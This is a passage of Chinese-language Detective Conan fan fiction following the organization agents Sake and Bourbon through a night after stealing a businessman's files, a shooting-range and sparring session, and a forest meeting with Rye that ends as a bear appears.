羽泽熙真在安室透身边坐下。 他把那个本子从安室透手里接过来,翻开,拿起笔。 他顿了顿,继续在上面写写画画。 11. 朱雀(6)意料之外的昏睡 在和神谷社长完成了又一段相亲相爱的交流后,他们离开了朱雀富丽堂皇的大楼。 雨已经很大了。 天色完全暗了下来,街上的霓虹灯依旧准时亮起,五颜六色的光把整条街照得如同白昼。 豆大的雨点砸在地上,溅起一片片水花。 安室透从公文包里掏出伞撑开,举到羽泽熙真头顶,遮住砸下来的雨点。 他看向羽泽熙真。 “走吧。” 羽泽熙真点了点头,和他一起走进雨里。 雨点噼啪地落在伞面上,地面上的积水越来越多,溅起的污水打湿了裤脚。 停车场不远,走过去大概五分钟,但在这么大的雨里,五分钟也够受的。他们穿过繁华的街道,绕过几个水坑,终于看见了那辆熟悉的车。 两人湿哒哒地回到了车上,关闭的车门把雨声隔绝在外。 世界突然安静下来。 羽泽熙真舒了一口气,从口袋里摸出装着资料的U盘,递给安室透。 “都拿到了?”安室透接过,拿在手里翻看着。 “不确定。” 羽泽熙真抹了一把头发上的水珠,他的肩膀也湿了小片,凉飕飕的,不太舒服。一把伞两个人还是太勉强了。 “他电脑里可能有用的东西,我全复制了。文件夹太多,没时间细看。” “厉害。”安室透轻轻笑了一声,“没被发现吧。” “差点被发现,不过没事。” 安室透把U盘塞进了口袋,发动车子。闻言瞥了他一眼。 “差点被发现?” “嗯。”羽泽熙真往后靠了靠,闭上眼睛,“快搞定的时候神谷诚进来了,我从窗户翻出去的。在外面待了一会儿,等他走了之后回的包间。” 车子轻轻晃了一下,安室透踩死了刹车。 “……你疯了吧。” 羽泽熙真睁开眼睛,偏过头。安室透正盯着前方的路,表情看不太清楚,只能看见侧脸的轮廓。 “怎么了?” “怎么了?”安室透重复了一遍他的问题,然后轻轻吸了口气,“那是五楼。” “我知道。” “你知道?”安室透扭头盯着他,“万一掉下去呢?” 羽泽熙真眨了眨眼。 波本这是在……质疑他的能力,怕他出事影响任务吗? 也对。任务才刚开始,要是他出了什么事,剩下的事情就得波本一个人做。 而且要是他在这里出意外,波本也不好交代。 “不会掉下去的。”他弯了弯眼睛,“我爬过比这更高的。” “……” 安室透不说话了。 雨刷在挡风玻璃上左右摆动,车灯照亮了前面的路和细密的雨线。 车子缓缓驶入街道,羽泽熙真又闭上了眼睛。 晚上八点多,他们终于回到了公寓。 安室透说想看看U盘里的东西,有些迫不及待地直接回房间了。 羽泽熙真把湿透的衣服扔进洗衣机里,打算先煮些面作为两人的晚饭。中午到现在他们只喝了茶,所谓的精致点心也没吃几口,估计安室透也饿了。 他想了想,又往锅里多放了一小把面。 面条在沸水里翻滚着,慢慢变软。 等待的间隙,他又在另一个锅里煎上两个鸡蛋。然后是肉丝,炒到变色,加酱油调味。最后把煮好的面条捞进碗里,浇上热汤,摆上炒好的鸡蛋和肉丝,撒上一把葱花。 两碗面,热气腾腾的,香味飘得满屋都是。 羽泽熙真把碗端到餐桌上,从口袋里摸出手机。 【吃饭了。——Sake】 发完消息,他坐到桌边,自顾自地吃了起来。 面条很筋道,汤很鲜,鸡蛋一戳便流出黄来,热乎乎的滑进胃里,满足得让人不禁喟叹。 窗外的雨还在下,能听见闷闷的“噼啪”声从玻璃那边传来,屋里却那么暖和。 没过几分钟,换了身家居服的安室透走过来了。 羽泽熙真一看他的表情就知道,他肯定是从那U盘里找到了什么有用的东西。 收获满满吧。 “好香啊。” 安室透坐到他对面,夹起一筷子面,吹了吹,送进嘴里。 他咀嚼着,眼睛一亮。 “好吃。” “嗯。” 羽泽熙真咽下嘴里的东西,抬起头。 “怎么样,找到什么了?” “很多。”安室透摇了摇头,“神谷诚把太多东西放在电脑里了。转账记录,客户名单,还有一些加密文件。最重要的是——” 他凑近一点,压低声音。 “——神谷诚想卖的那些情报,来源是一个被称作‘幽灵’的卖方。” 幽灵。 羽泽熙真在心里默念了一遍这个名字。 “你听说过吗?”安室透问。 “没有。” 羽泽熙真夹起一筷子面,放进嘴里,慢慢咀嚼着。 一个虚假的代号。可能是组织内部的人,也可能是外部的其他势力,不好确定。 据安室透所说,神谷诚在半个月前就作为中间人已经完成了一次交易,买家的信息被模糊处理了,但不出意外的话是泥惨会——一个本土的小帮派,一直在和组织作对,但规模不大,翻不出什么水花。平时甩个锅什么的也很方便,因此组织一直没处理。 这次嘛……那就要看他们拿到了什么信息了。 具体交易的是什么,安室透说那些东西是加密的,还需要一定时间破解。羽泽熙真就随他去了,反正这次任务提前结束了,研究明白再把成果交给琴酒也不迟。 前辈要的是结果,不是过程。 “对了,”安室透又想起了什么,“他们今天可能还会有一次交易,我们要去看看吗?” 今天? 羽泽熙真想起最后在神谷诚办公室外面听到的那句话。 ——“今天晚上那批货,盯紧点。买主是那边的人,不能出任何差错。” 神谷诚对泥惨会的态度…… “不去。”羽泽熙真摇头,“我们已经知道了神谷诚确实在出售情报,这个任务结束了,没必要节外生枝。” 安室透挑了挑眉,似乎有什么话想说,但又咽回去了。 他们继续吃着。 吃完饭,暂时懒得洗碗的羽泽熙真把碗筷一扔,跑到客厅看电视去了。 电视里正在放什么综艺节目,几个主持人在那说说笑笑,吵得很。他换了一个台,是电视剧,男女主角在吵架,声嘶力竭的,也很吵。 又换了一个台,是新闻,播着天气情况。 “……预计今晚到明天,东京地区将持续降雨……” 安室透倒是挺自觉地开始收拾起桌上的残局。 听声音的话,其实他对于这种工作还挺熟练的——以前大概有其他人给他做饭,或者,他去餐馆后厨打过工? 情报贩子什么都干得出来。 窗外的雨声模模糊糊的,和枯燥的电视节目一样让人昏昏欲睡。 眼皮越来越重。羽泽熙真把头往沙发靠背上蹭了蹭,找到一个稍微舒服点的角度,打了个哈欠。 然后—— 意识陷入一片黑暗。 —— “清酒……清酒……” 声音从很远很远的地方传来,模模糊糊的,有什么东西……在碰他。 是一只手。按在他的肩膀上,轻轻摇着。 “清酒!醒醒!” 羽泽熙真猛地睁开眼睛。 映入眼帘的是蹲在沙发前的安室透的脸,近在咫尺。 真的很近。他甚至看清了这人下巴刚冒出来的胡茬,一根一根的,浅浅的青色。 他的身体先于意识做出了反应——肩膀猛地往后缩,后背紧紧贴在沙发靠背上,一只手条件反射地抬起来,几乎就要朝那张脸挥过去—— 不对。 这个不能打。 他的拳头在半空中僵了一瞬,然后慢慢放下。 “……麻烦离我远点,波本。” 他撑起身子,用肩膀顶了下安室透的手。 “还有这个,拿走,谢谢。” 安室透仔细打量着,看羽泽熙真的面色确实没问题,甚至挺精神的,他才收回手,蹲着往后挪了两步。 “现在快要一点钟了,清酒。” 他皱着眉,指指墙上的挂钟。 “你睡了三个多小时,叫都叫不醒,有哪里不舒服吗?” 三个小时? 羽泽熙真瞥了眼时间,的确如安室透所说,马上就要凌晨一点了。也就是说,他毫无意识地在这个刚认识几天的人旁边,待了那么久。 如果安室透有什么恶意—— 羽泽熙真的后背冒出一点冷汗。 “你等一下。” 安室透站起身,快步走向厨房。片刻后他端着一杯水回来,在羽泽熙真身边坐下,把水杯递到他嘴边。 “喝水。” 羽泽熙真愣了愣,接过 水杯,喝了一口。 水是温热的,滋润了干涩的喉咙,他又喝了一口,放下杯子。 “你这么急着叫我……”他看着安室透,“是出什么事了吗?” “啊,没有。” 安室透想了想。 “十一点的时候,我想叫你起来看点东西,但你没醒。不是什么要紧的事,我就没打扰你。然后刚刚……我觉得不太对,过来看看,不小心碰到你了。结果发现……你的体温好像有些太低。” “没事的。”羽泽熙真摇头,“我的体温本来就偏低,大概是睡得太沉了。毕竟这几天一直没怎么睡。凌晨出去一趟,今天又折腾一天。困过头了。” “这样……那就好。” 不知道安室透是信了还是没信,总之他没有继续追问。 “抱歉,最近似乎一直在打扰你休息。”他有些歉意地笑笑,“谢谢你今天早上去找我——” 看着羽泽熙真手里对准了他脑门的□□,安室透慢慢举起了双手。 “……呃,这是什么意思?” “别误会,我并不是想责怪你什么。” 羽泽熙真半靠在沙发里,稳稳握着刚从沙发缝隙里摸出来的枪。 “我只是想提醒你,下次再突然离我这么近的话,你那张俊脸上可能就要多一个坑了——至于是拳头留下的,还是子弹留下的,那就不好说了。” “不是‘突然’就可以吗?” 安室透歪了歪头,他甚至有心情开玩笑。 “啊,当然可以。”羽泽熙真弯起唇角,“我醒着的时候,你想怎么碰我都行。” “好吧,我记住了。抱歉。” 安室透保持着举手的姿势,从容地站起身来,退后两步。 “别太紧张,清酒。我不会对你做什么的。” “那谁知道呢。”羽泽熙真耸了耸肩,“反正我提醒过你了。” 他看着安室透退到一个令人舒适的距离,移开枪口,让它垂向地面的方向。 “现在说说吧,你想给我看的东西是什么?” 安室透放下手,从口袋里摸出手机,翻找着什么东西,然后翻过屏幕,对着羽泽熙真。 【波本,别忘了交报告啊。——Vodka】 “我想问问你,”安室透认真地说,“你知不知道,伏特加让我交什么报告?情报组没有这种规矩……” 羽泽熙真:“……?” 你的事,我怎么会知道?直接问伏特加本人不就好了。 不过安室透过来的这几天,一共也没做几个任务。可能需要写报告的,大概就是他和琴酒他们一起守了一晚的那个,还有第一天半夜从基安蒂手里抢来的那个。 还有……今天的。 他想了想,朝安室透勾勾手。 “手机给我。” 安室透犹豫了一下,还是走了过来,把手机递到他手里。 羽泽熙真快速地敲了几个字,点击发送,又还了回去。 安室透疑惑地低头一看—— 屏幕上多了一条消息。 【他不用写。——Sake】 安室透:“……” 这样真的没问题吗? 他盯着那行字看了几秒,又抬起头,对着羽泽熙真欲言又止。 “你那是什么表情?”羽泽熙真眨了眨眼睛,“别担心,一点小小的特权而已。” “特权?” “嗯。” 羽泽熙真把枪塞回沙发缝隙里。那个位置很隐蔽,伸手就能够到,但从外面看不出来。 “你看,琴酒他就从来不写这种东西,我也不写。所以你也不用写。” 听起来很有道理,能摆脱繁琐的文书工作当然也很诱人。但安室透总觉得,好像有什么地方不太对劲。 “……琴酒不写,那是因为有伏特加写吧?” “不要在意这些细节。”羽泽熙真说。 安室透:“……” 看着满脸无奈的安室透,羽泽熙真忍不住笑了一声。 “那些东西,交上去也不会有人看的。”他站起身来,“如果真的有人因为这种事找你麻烦,你就告诉他,是清酒不让你写的。放心,不会有问题。” 他走到安室透旁边,顿了顿。 “当然,如果你很闲,喜欢把每个任务都仔仔细细分析一遍交上去什么的,我也不会拦你。” “……不,我觉得这样就挺好的。”安室透义正词严,“谢谢您,清酒大人。” 羽泽熙真摆摆手,往卧室的方向走去。 12. 找个人练练手? “早,清酒。” 羽泽熙真闻声从早餐的三明治间抬起了头,看向刚从浴室出来的安室透。 那人正拿着毛巾擦脑后滴水的头发,眼睛清亮,整个人精神得不像话。 “早。”羽泽熙真应道。 经过几天的相处,他不得不感慨,波本真是个精力多到用不完的人。 这个时间,他才刚刚起床洗漱没多久。而眼前这位波本先生已经完成了一系列自律活动——不知道几点跑去附近的公园晨练,练完买了早餐回来,放在餐桌上摆好,还能顺便冲个澡。 羽泽熙真咬了一口三明治,慢慢嚼着。 面包还是温热的,包装袋上印着附近那家便利店的名字。 他记得那家店,离公寓步行要十五分钟,走过去再走回来,加上晨练的时间—— 安室透到底每天睡几个小时?四个,三个,还是根本就不需要睡觉? 天哪。他想。我们根本不是一个世界的人。 也许波本更适合被派去给琴酒做搭档,几年没睡过安稳觉的伏特加一定会感激涕零的。 羽泽熙真的目光落向窗外。 今天的天气倒是还算不错,冷热适中,嗯……正适合锻炼一下。 他扔掉三明治的包装,拿纸巾擦了擦手指。 “我待会儿要去训练场,你去吗?”他看着安室透,“那里可以练枪。” “训练场?” 安室透的视线偏移了片刻,似乎回忆了什么。他把毛巾搭在椅背上,坐在餐桌前,伸手拿起自己的那份三明治。 “伏特加和我提到过,听说很多代号成员都会去,环境不错,设备也齐全。” 羽泽熙真点头:“对,所以你也可以去。” “好啊。”安室透笑了笑,“那就麻烦清酒大人带我涨涨见识了。” 于是吃过早饭,他们收拾收拾就出发了。其实也没什么好准备的,那里什么都有,带个人去就够了。 训练场位于郊区的一处隐秘基地,依山而建,高墙围绕,外部设有严密的安保系统。 为了成员身份的保密性,只有持有代号的成员才有权限进入这里。 羽泽熙真推开车门下车,伸了个懒腰,和安室透朝着训练场的方向走去。 前台坐着一个光头男人,体形壮实,穿着黑色的工装,正在看手机。听见脚步声,他抬起眼,朝羽泽熙真点了点头。 “清酒。”他看了一眼安室透,“这是……” “波本。”羽泽熙真说,“我的新搭档,先带他过来看看。” 光头男人“哦”了一声,低下头继续看手机。 “需要单间的话,自己提前申请。” “今天不用,他和我一起。” 羽泽熙真走近了几步,手撑在柜台上,朝男人递去一支烟。 光头男人有点无奈地瞥了他一眼,没接。 “……没必要吧,清酒。”他低声说,“什么事?” “也没什么大事,就是想找个人练练手。” 羽泽熙真笑笑,把烟放在台面上。 “听说,最近琴酒那边有个狙击手拿了代号。他今天来了吗?” “来是来了……”男人左右看看,“现在他应该在综合射击区那边。不过琴酒最近很宝贝他啊,你可悠着点。” “嗯,我知道。” 羽泽熙真直起身,朝后面扬了扬下巴,示意安室透跟上。 安室透刚刚就站在他身后半步远的位置,如果这个像没事人一样的家伙是个聋子的话,那他大概什么都没听见。 但他的耳朵没有聋——刚才那些压低声音的对话,他一个字都没漏掉。 不过羽泽熙真也并没有打算瞒着他。 他带着安室透穿过一条长长的走廊。走廊两边是一扇扇紧闭的门,每扇门上都挂着一个小牌子,写着编号。 “我的房间在这,现在先带你去选武器。”羽泽熙真指指路过的一扇门,“如果你想自己练的话,之后我再帮你申请单间……等等。” 他回过头:“你需要教练吗?” “不用。”安室透笑道,“我学过的。” “那就好。” 他们走到走廊尽头,右转,推开一扇厚重的金属门。 门后是器材室,三面墙都是玻璃柜,里面摆满了各种常用武器。手枪、步枪、冲锋枪,整整齐齐地码在架子上,柜子没有上锁,玻璃门一拉就开,像超市的货架一样随意。 羽泽熙真走向靠墙的那一排柜子,蹲下身。 “这里的武器可以随便用,只要不带出去就行。”他拉开下面的一个柜门,“子弹在这,各种口径都有。” 安室透点点头,走进房间。 他沿着玻璃柜走了一圈,拿起一把枪,看了看型号,又放下。然后拿起另一把握在手里,举起来瞄了一下,似乎觉得手感不错,就拿着了。 那是一把HKP7,他平时也爱用这个。 羽泽熙真找到对应的子弹,拎了两盒递给他。 “免费的?”安室透挑眉。 “哈?难道我们是什么慈善组织吗?”羽泽熙真把沉甸甸的子弹拍到他怀里,“用就行,他们会记我账上。” “好吧。” 他们走出器材室,沿着走廊往回走了一段,在A-7号门前停下。 羽泽熙真从口袋里摸出门禁卡,刷开门。 房间很空阔,有些人会喜欢申请几件健身器材摆在中间的空地,跑步机、卧推架、沙袋,把房间塞得满满当当。 不过羽泽熙真没有这么做,他更喜欢在这里铺上软垫,有时是用来打一架,有时是用来睡一觉——现在软垫被卷了起来,收到墙角,屋子空荡荡的。 靠墙的位置摆着桌椅,桌上放着几盒子弹和一把□□,椅子上挂着一件外套,他已经想不起来那是哪次过来忘记拿走的了。 正对面是户外靶场,可以远远看到房间窗口对应的靶位,地上长着些绿油油的杂草。 羽泽熙真拿起桌上的□□,看了看弹匣。满的。 “你要先试试吗?”他扭头问安室透。 “好。” 安室透上前几步,利落地给刚取的空枪装上子弹,站定在窗口前。 他双手举起枪,对准靶心。 砰! 枪声在房间里炸开,子弹穿过空气,在靶心偏左下的位置留下了一个洞。 安室透似乎对这个成绩不太满意,皱了皱眉。他调整了一下握枪的姿势,收紧手指,深吸一口气,又扣下扳机。 砰! 第二枪。然后是第三枪,第四枪,第五枪。 直到打空了弹匣,安室透按下窗边控制轨道的按钮,让靶纸顺着轨道滑过来。 羽泽熙真走到他旁边,看向靶纸。 弹孔很均匀,基本集中在九环和十环之间,最远的一个离靶心大概两厘米,最近的一个刚好命中靶心。 “不错嘛。”羽泽熙真扬眉。 倒真不是客套,这个成绩就算放在行动组里也算好的了,比他预想的要强得多。 朗姆手下那些情报人员,能把子弹打在靶纸上就不错了,可没有这个水平。 “还好。”安室透笑了笑,把枪放到桌子上,“该你了。” 羽泽熙真抬起手中的□□。 他的姿势和安室透不太一样,是单手持枪。身体更放松,握枪的手也没有那么用力。枪口指向靶心的方向,手腕微微调整了一下角度—— 砰! 枪声响起的同时,他已经第二次扣下了扳机。 枪口在击发后被后坐力扬起些许,又在回落的某个瞬间再次击发。 羽泽熙真一口气连开了五枪,间隔比安室透短得多。 他放下枪,按下按钮。 靶纸滑了过来。 安室透凑近一看,沉默了。 五枪,只有两个弹孔。其中三发子弹几乎叠在一起,击穿了靶心,另外两发也只偏离了一厘米左右,紧挨着靶心的边缘。 令人惊叹的精确度。 “怎么了?” 羽泽熙真有点奇怪于他的安静。他把□□放在桌上,转过身,看着安室透。 “没什么。”安室透回过神,“就是觉得……你开枪的时候,好像不怎么需要瞄准。” 羽泽熙真笑了一声。 “再多练练,你也可以的。” 安室透觉得自己短时间内达不到这个水平。清酒这种人,搞不好字都认不全的年纪就摸上枪了,肌肉记忆是从小养成的,他根本比不了。 但来都来了,他重新拿起枪,站到窗口前,又陆续打空了几个弹匣。 成绩似乎比刚刚好一些了。这里模拟的是户外环境,自然因素的影响也是不可忽视的。 见他放下枪,羽泽熙真走过来。 “累了吗?” “不累。”安室透揉着手腕,“稍微有点麻。” 被后坐力震的。练那么久,手腕的肌肉会酸很正常。 “那……要不要活动一下?” “活动一下?” 羽泽熙真点点头。他伸手握住安室透的手腕,拽向自己的方向,安室透的身体被带着往前倾了半步。 他低头打量着安室透摊开在他面前的手。 皮肤颜色很深,手指修长,掌心有一层茧,虎口的 位置最厚,是长期握枪留下的。 “你会打架吗?”他问。 “……会一点。” “那就是能打。”羽泽熙真笑道,“要不要来揍我一顿?机不可失啊,波本君。” 被他抓着手腕的安室透稍稍蹙眉,似乎有所顾虑。但很快,他抬起眼。 “好。” 羽泽熙真松开他的手,走到墙角,弯腰把卷起来的软垫展开铺在地上。 软垫很厚,踩上去软绵绵的。 他脱了外套,随手扔在椅子上,只穿一件黑色的长袖。领口松松垮垮的,露出那根细细的绳子。 安室透也脱掉了外套,叠好放在一边。 “有规则吗?”他问。 “没有。”羽泽熙真想了想,“点到为止。” 话音刚落,安室透一拳就砸过来了。 毫无预兆地一拳,直奔面门。羽泽熙真侧头躲开,拳头擦着他的耳朵过去,带起一阵风。 他顺势往后退了半步,拉开一点距离,同时抬起手臂挡住安室透紧跟着踢过来的膝盖。那一下很重,砸在小臂上,震得骨头隐隐发酸。 两个人就这样打在了一起。 安室透似乎很擅长用拳,直拳,勾拳,摆拳,交替着打过来,扎实有力,挨一下大概会疼很久。 羽泽熙真轻巧地躲开了几招,终于在挡住安室透的一记肘击之后,找到了机会。 他往前踏了一步,身体压低,左手扣住安室透挥拳的那只手腕,右手搭上他的肩膀,腰一拧—— 一声闷响。 安室透被他撂倒在了软垫上。 平时精明的波本大人,此刻带点茫然的目光让羽泽熙真觉得有点好笑,他低头看着他。 “你需要武器吗?”羽泽熙真问,“刀,或者别的什么?” “……你用什么?” “我不用。” 安室透从垫子上爬起来,拍了拍身上的灰。 “那我也不用。”他摆好架势,双手举在身前,“再来。” 两招之后,安室透以同样的姿势倒在了地上。 这次摔得更重。 羽泽熙真没有收力——当然也没有用全力,但比刚才那一下实在得多。 安室透的身体在垫子上弹了一下,然后躺平了,四肢摊开,一动不动。 他直勾勾盯着天花板,像某种被翻了个身就动不了的长寿的卵生半水栖类爬行动物。 羽泽熙真走过来,站在他旁边。 他低头看了看安室透,又抬头看了看天花板。 几根日光灯管,一个吊扇,通风管道。没什么异常。 他又低头看了看安室透。 这个人看起来可以就这样躺着,躺到天黑,躺到明天,躺到这个训练场变成废墟。 “你怎么了?” 安室透盯着天花板,面无表情。 “……腰闪到了。”他说。 羽泽熙真:“……” 真的假的? 他蹲下来,凑近了一点。 安室透的表情很严肃,眉头蹙着,嘴唇抿着,甚至没有瞥向他。 真的? “哪边?”羽泽熙真伸手想去扶他。 ——就是这一瞬间。 安室透抓住了他伸过来的手,猛地一扯,同时直起身,按着他的肩膀向下压去! 两人的位置被交换了。 羽泽熙真被安室透压在了下面,后背撞上软垫,一只手被抓着压在头顶,另一边肩膀被按着,整个人被牢牢地固定住。安室透甚至跪在了他的腿上,膝盖压着大腿,让他根本使不上力。 “骗你的。”安室透的呼吸有些急促,“我的腰好得很。” 羽泽熙真看着自己身上这个家伙得意的表情,眨了眨眼睛。 “骗人是不好的,安室君。” “抱歉,但好像挺有用的。”安室透直起一点身子,“不要欺负我这种文弱的情报人员了,清酒大人。” 文弱在哪? 羽泽熙真轻轻动了下胳膊。其实他有很多种方法可以挣脱,但安室透太文弱了,抓得太紧,硬来的话有很大概率会伤到他。 他放弃了抵抗。 “恭喜。”羽泽熙真叹气,“你赢了,波本大人。” 安室透愣了一下。他似乎没想到羽泽熙真会这么干脆地认输,按着他肩膀的手松了一点。 “这就投降了?” “嗯。”羽泽熙真无奈点头,“被你抓住了,跑不掉了。” 安室透盯着他看了会儿,慢慢松开手,从他身上翻下来,躺在旁边的垫子上。 两个人并排躺着,盯着天花板。 13. 莱伊与不速之客 羽泽熙真不明白这个普通的天花板有什么好看的。 但他还是看了。 过了一会儿,安室透开口了。 “你刚才是不是在让着我?”他很笃定,“你没用力。” “嗯……” 羽泽熙真拖了个长音。 “因为我觉得,你大概不想亲自体验这里医务室的舒适程度。” “……我是不是该说谢谢?” “不客气。” 羽泽熙真从垫子上坐起来,他的头发有点乱了,额前的碎发翘起来几根。他用手拨了拨,没拨下去,也就懒得管了。 “你在这休息吧。我出去一趟。” 安室透没动弹。他躺在垫子上,双手枕在脑后。 他知道羽泽熙真这是不想带他去的意思。 “你要去找那个狙击手。” “对。” 羽泽熙真拿起椅子上的外套,披在身上。 “记得别乱跑。”他回过头,“他们都有枪的哦。” 安室透“嘁”了一声。 “……知道了。” 羽泽熙真笑了笑,走出门去。 综合射击区在C区,走廊尽头左转,再走一段就到了。 说是射击区,其实就是一片稍加修饰的野地。近一点的地方是空地,摆着几个射击位。再远一些是树林,树林后面是什么,看不太清楚,只有一片深深浅浅的绿色。 这里人不多,羽泽熙真要找的人也不在这里,他沿着空地的边缘往树林深处走去。 地上的草渐渐茂盛起来,脚下的水泥地变成了泥土,泥土上盖着一层厚厚的落叶,踩上去软绵绵的,沙沙作响。 左手边有一片灌木丛,枝条上结着红色的小浆果,没毒,不过羽泽熙真没有兴趣去尝。右手边有一棵倒下的树,树干已经腐朽了,表皮长满了青苔和灰白色的菌类,几只黑色的甲虫在树皮上爬来爬去。 头顶有鸟在叫,声音很清脆,“啾啾啾”的,但看不见在哪里。 突然。 “砰——!” 一声枪响,大片的鸟群被惊起,扑棱着翅膀飞远了。 那枪声是从树林深处传来的,隔着层层叠叠的树木,传到这边已经变得有些闷了。不过还是能听得出来,那是狙击枪的声音。 会是他吗? 羽泽熙真果断循着声音的方向走过去。 脚下没有路,他踩着落叶和杂草,拨开挡在面前的树枝,走了大概几百米,穿过一片低矮的灌木丛,他看到了一个人影。 那人蹲在地上,背对着他,低头看着什么。他戴着一顶针织帽,穿着一件深色的夹克,怀里抱着狙击枪,黑色的长发披在身后。 听到羽泽熙真靠近的声响,他扭过头。 深邃的五官,绿色的眼睛——但和琴酒那种冷绿色有些许不同,大概是更深沉吧,看起来冷冷清清的,不太好接近。 诸星大,代号“Rye”。 莱伊。 羽泽熙真要找的正是这个男人。 在这之前,他和莱伊素不相识,甚至没见过面。但羽泽熙真对他的模样有印象——一年前,琴酒曾经拿着他的资料推荐过他。 那时候,琴酒和伏特加给他拿了一批新人的资料,让他挑选临时的搭档。 自从……那件事之后,组织就没再让他和别人一起行动过,他独自做了半年的任务,直到那时才分了一个新人让他带着。 他当时最先选中的是安室透,这位情报贩子的履历很精彩,可以说是功绩累累,几乎每一页都写满了让人印象深刻的数字和评价。不过琴酒告诉他,这个人被朗姆盯上了,他顿时就失了兴趣,于是作罢。 然后他看中了…… 不对,等等,安室透。 他当时最先挑中的,是安室透! 羽泽熙真突然回过神来,不会是因为这个,安室透现在才被送到他家里当搭档吧?! 当时在场的就三个人——他,琴酒,伏特加,琴酒肯定不会关注这种小事,除了伏特加还能是谁? 绝对是他。绝对是他把自己看中了安室透的事漏出去给朗姆那边的! 他就说当时伏特加把人送过来的时候怎么笑的那么开心——这个家伙,一直以为他想要这个人! 那琴酒当时说要给他拿药的态度也说得通了,以他的性格来说,如果是他个人的决定,根本不会有补偿这种东西。 让你带人就带人,哪来那么多讨价还价——但是自家小弟惹出来的事情,不能告诉别人,只能替他担个责…… 羽泽熙真的嘴角不由得抽了抽。 算了,先不管这个。 “——‘有能力,但背景太干净。’” 这是羽泽熙真当时对诸星大的评价。安室透不行,琴酒给他推荐了这个狙击手。 诸星大的资料看上去没有任何问题,没有明显的前科,没有复杂的社会关系,也没有值得深挖的可疑经历,进组织是因为被一个外围成员开车的时候撞到,发展了一段关系。 但正因如此,反而显得过于干净了。 羽泽熙真不喜欢这种“完美”的背景,太干净的东西,往往藏着最脏的秘密。而且这个人……和琴酒太像了。 外貌,气质,或者别的什么。 所以他选了另一个人。 说回正题,羽泽熙真今天来训练场的原因之一,正是莱伊。 ——因为最近和苏格兰在一起的人,就是他。而这位刚刚得了代号的狙击手也勤奋得很,三天两头往训练场跑。挺好找的。 羽泽熙真走过去。 “跑得这么远,”他率先开口,“你不怕在这林子里迷路么?莱伊?” 诸星大的目光从他脸上扫过,从头到脚,然后又回到脸上。 “你是……清酒?” 羽泽熙真微微扬眉。 “你认识我?” “因为那个。” 诸星大在盯着他的领口,羽泽熙真低头看了一眼,吊坠从衣领里滑出来了,大概是刚才活动的时候弄的。 “眼力不错。”他把吊坠挑起来,塞回衣服里,“你在做什么?” 诸星大又把头低下去了。羽泽熙真走近了一点,发现他刚刚在看的是一只兔子。 死的。 灰褐色的毛,大概只有两个成年人的拳头那么大。脑袋上有一个洞,边缘焦黑,血从洞里渗出来,染红了旁边的落叶和青草。 “你打的?”羽泽熙真问。 “嗯。” “不处理一下吗?” 诸星大抬起头。 “什么?” “兔子。” 诸星大看了看那只兔子,又看了看他。 “为什么要处理?” 羽泽熙真眨了眨眼。这倒是个好问题。为什么要处理? 莱伊大概不准备吃它,干巴巴的没什么肉。而且这里又不是什么需要保持整洁的地方,一只死兔子而已,扔在这里,过几天就会被其他动物吃掉,或者腐烂,变成泥土的一部分。没有人会在意。 “随便问问。”他说。 诸星大拎 着那只兔子的耳朵站起身。兔子的身体垂下来,软绵绵的,在半空中晃了晃。 “你要吗?”他问。 羽泽熙真愣了一下。 “……要什么?” “兔子。” 羽泽熙真看着那只灰扑扑的、脑袋上有个洞的死兔子,沉默了两秒。 如果自己带着这只兔子走回房间——安室透看到他手里拎着一只死兔子会是什么表情? 大概会问“这是什么”,然后他会说“兔子”,然后安室透会说“我知道是兔子,我是问你拿它干什么”,然后他会说“不知道,别人送的”。 太荒谬了。 “不用了。”他说,“谢谢。” 诸星大点点头,拎着兔子走到一棵树旁边,弯腰把它放在树根上面。 “这林子里面有不少野生动物。”羽泽熙真随口找了个话题,“兔子,狐狸,野猪,还有……” 他想了想。 “还有蛇。之前有人在这里碰到过,挺大一条,就在那边的树下面盘着。那人说有两米多长,手臂那么粗,黑底白花的,看着就瘆人。” 诸星大不太理解他想干什么,抱着狙击枪淡定的听着,没吱声。 羽泽熙真觉得他大概在想“这人怎么废话这么多”。 “还有熊。”他继续说,“去年有人在林子里看见的,后来组织还专门让人来查过,说是不用管,它自己会走。也不知道走了没有。” 诸星大若有所思。 “所以,你是在告诉我,不要往林子里跑太深?” “聪明。”羽泽熙真笑道,“我就是这个意思。这里虽然是在训练场的范围内,但没怎么管过,里面有什么东西谁也不知道。没事的话,最好别往深处去。” “我知道了。”诸星大说。 真冷淡啊。 羽泽熙真也不在意。他本来就是随口一说,这个狙击手看起来天不怕地不怕的样子,大概也不会把什么熊啊蛇啊放在心上。 不过提醒一下总是好的,总比真的碰上了毫无准备强。 “行吧。”羽泽熙真笑了一声,“那你继续练,我——” 他的话顿住了。 嘎吱。 嘎吱。 嘎吱。 他听到了一点声音。 树林深处,有什么东西踩在落叶上,正在慢慢地朝着他们移动。 羽泽熙真的后背瞬间绷紧了。他转过头,看向声音传来的方向。 那是一片枝叶交错的灌木丛,长得很茂盛,枝叶层层叠叠的,挡住了后面的东西。 “怎么了?”诸星大问。 “嘘。” 羽泽熙真竖起一根手指,放在唇边。 声音就是从灌木丛后面传来的。 嘎吱。 又一下。 这次更近了。 羽泽熙真放下手,摸向腰间的□□,眼睛紧盯着那丛灌木。 灌木丛的叶子晃了一下。 风?不是。只有那一丛在晃,其他都安安静静的。 又晃了一下。 一只黑色的鼻子从叶子中间探出来。 湿漉漉的,两个小孔微微翕动着,那鼻子很大,比人的拳头还大,黑得发亮,泛着水光。 然后是头。 棕黑色的毛,圆圆的耳朵,小小的眼睛藏在毛茸茸的脸中间,正盯着他们的方向。 ……喂。 那个东西……是熊吧。 羽泽熙真整个人都不好了。 怎么说什么来什么啊。 14. 苏格兰的新搭档 熊慢慢从灌木丛里挤出来。 先是一个肩膀,枝条被它的身体推开,又弹回来,打在它厚实的皮毛上,它晃了晃脑袋。 然后是整个身体。 羽泽熙真屏住了呼吸。 它的体型比电视上看到的那些熊要小一些,大概有一米多长,站起来的话可能比羽泽熙真矮一点。但它的身体很厚实,肩膀很宽,四条腿粗壮有力,每一步踩下去,爪子都会在落叶上按出深深的印痕。 羽泽熙真看着它,慢慢地、慢慢地往后退了半步,挡在诸星大身前。 他很小心,但落叶还是发出了细微的声响。 熊的耳朵动了一下,偏了偏头,看着羽泽熙真,鼻子又翕动了两下,像在分辨空气中的某种气味。 羽泽熙真不知道自己闻起来是什么味道。硝烟?洗发水?还是早上吃的三明治?他今天早上吃的是金枪鱼三明治,不知道熊喜不喜欢金枪鱼。 